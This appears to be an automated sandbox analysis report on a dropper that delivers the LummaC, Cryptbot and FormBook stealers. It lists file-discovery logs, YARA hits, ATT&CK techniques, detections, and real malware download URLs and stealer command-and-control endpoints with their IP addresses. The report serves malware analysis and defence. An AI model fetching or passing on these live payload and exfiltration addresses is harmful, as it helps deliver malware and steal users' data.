Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3048089446.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f2de4e119f.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 324fcfa2b3.exe PID: 8180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ba94e3db0d.exe PID: 7196, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 324fcfa2b3.exe PID: 8180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ba94e3db0d.exe PID: 7196, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: f2de4e119f.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0091EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0091EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0091DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0091DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	961 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
treehoneyi.click	104.21.91.209	true	true	unknown
grannyejh.lat	172.67.179.109	true	false	high
www.google.com	172.217.19.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
home.twentytk20pn.top	147.45.113.159	true	false	high
twentytk20pn.top	147.45.113.159	true	false	high
httpbin.org	34.226.108.155	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://pancakedipyps.click/api	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	true	unknown
http://twentytk20pn.top/v1/upload.php	false	high
grannyejh.lat	false	high
pancakedipyps.click	false	high
necklacebudi.lat	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false	high
crosshuaht.lat	false	high
home.twentytk20pn.top	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/mh	324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/6CfK	324fcfa2b3.exe, 0000000A.00000002.3152401057.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/	324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048868595.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	false	high
https://curl.se/docs/hsts.html	ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://grannyejh.lat/apivider	f2de4e119f.exe, 00000007.00000003.2932193542.000000000077A000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931929150.0000000000777000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/transfer.aspx	6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exes	f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exepleWebKit/537.36	f2de4e119f.exe, 00000007.00000002.3252140270.000000000053B000.00000004.00000010.00020000.00000000.sdmp	false	high
http://185.215.113.16/lumma/random.exeencoded	skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/balance.aspx	6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.43/Zu7JuNko/index.php?J	skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/6C	324fcfa2b3.exe, 0000000A.00000003.3087049951.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspx	6454cda0dd.exe, 00000014.00000000.3289959239.0000000000F22000.00000002.00000001.01000000.00000011.sdmp	false	high
https://treehoneyi.click/api$	ba94e3db0d.exe, 0000000C.00000003.3293694823.0000000000F34000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3315513660.0000000000F34000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/alt-svc.html	ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://www.ecosia.org/newtab/	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/ob	324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	ba94e3db0d.exe, 0000000C.00000002.3328837625.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207521877.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3256445072.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3257004403.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3254995716.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/lumma/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://httpbin.org/ipbefore	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://treehoneyi.click/apiN	ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/lumma/random.exeU	skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/api0	324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false	high
